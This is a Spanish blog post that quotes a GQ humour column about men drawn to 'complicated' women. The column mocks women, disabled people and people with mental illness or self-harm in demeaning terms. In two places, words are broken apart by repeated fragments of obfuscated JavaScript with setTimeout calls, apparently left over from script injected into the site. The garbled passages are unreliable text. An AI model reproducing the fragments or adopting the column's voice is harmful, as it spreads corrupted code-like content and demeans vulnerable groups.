Skitergia

Parametrizando el mundo



Chicas dificiles

by Skiter on 26 diciembre, 2012

“Las mujeres son como las camaras Reflex, tienen demasiadas opciones.
Pero al final, la foto siempre depende del ojo del fotografo”

Definición de un amigo fotografo

Y hoy me encuentro esto, que acierta tanto que hasta duele…

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“        La mujer complicada, la mujer difí­cil, la mujer de saldo, la mujer rotita… todos conocemos algún caso. Todos hemos sido algún caso. Todos seremos nuevos casos. Cuán fácilmente nos calzamos las cómodas zapatillas del malogrado romántico, enamorado de mujer rara, malvada, manca, calva, lesbiana, trisómica… ¿Qué tiene la mujer complicada o deshecha que nos cautiva y atrapa? La tarada, la minusválida sentimental, la freak de feria, la terrorista más buscada, la asesina de cachorritos… ¿Por qué nos gustan tanto? ¿Estamos tontos? ¿Se debe acaso al embrujo que ejerce la aberración? ¿Ejerce la monstruosidad fí­sica o emocional un efecto mesmerizante sobre nuestro corazón y nuestras gónadas? ¿Es todo hombre un lemming emocional en potencia? ¿Por qué nos gusta tanto complicarnos la vida y abrazarnos como monitos asustados a mujeres cuya carga genética Darwin ha condenado a una evidente extinción?

        Nosotros no tenemos las respuestas a estas preguntas porque nosotros no somos sabios. Nosotros somos idiotas. Y hemos estado muchas veces donde tú estás ahora y estaremos ahí­ de nuevo, con el soponcio del amor imposible, con la rotura, con el suspirito, como cerditos en su charca de orí­nes y drama.

         Algunas teorí­as psicoanalí­ticas que me acabo de inventar sugieren que la adicción a la mujer difí­cil surge como ví­a de escape de los demonios propios. La obsesión por la ecuación irresoluble de una mujer descacharrada o peligrosa es la licencia perfecta para no enfocar nuestras propia miserable vida y enfrentarnos a nuestras responsabilidades. Centrándonos en la romántica opereta de un amor doloroso o imposible nos ahorramos el titánico esfuerzo de tener que conducir nuestras propias y quebradas vidas. De tener que enfrentarnos a la tarde de un domingo. Es, en suma, el equivalente emocional a oler nuestros propios pedos: es asqueroso y necio, pero entretiene, y además es un asco adictivo que nos resulta tan conocido y cómodo como un par de pantuflas nuevas. Venga, que tú también lo haces. Como lo del jerbo.

         Otras hipótesis igualmente nacidas de la imaginación de este redactor hace cinco minutos escasos apuntan a un posible deseo de redención, un delirio de grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andeza y de self-importance mal camuflado de paternalismo que te susura al oí­do "tú puedes curarla, tú puedes salvarla, tú puedes ser 'The One'". Pues no. Vas a ser, en relidad, el two, o el twentytwe three, o el eighty one. Porque 'The One' fue, posiblemente, su papá.

         Ninguna persona sensata se complicarí­a la vida con una mujer claramente defectuosa. Pero nosotros no somos paladines de la sensatez, no tenéis más que ver cómo vestimos. Así­ que si has decidido complicarte la existencia con esa compañera de oficina que no va a ninguna parte sin su gotero de Haloperidol o esa amiga de tu prima que mueve los labios sin pronunciar palabra y se clava las uñas en las palmas de las manos cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando cree que nadie la mira, aquí­ te sugerimos unos cuantos modelos femeninos sacados del outlet de la piscina genética para que, si has decidido emprender el camino de la autoinmolación romántica, al menos lo hagas con un poco de estilo."

Aut: Ignacio Selgas en GQ

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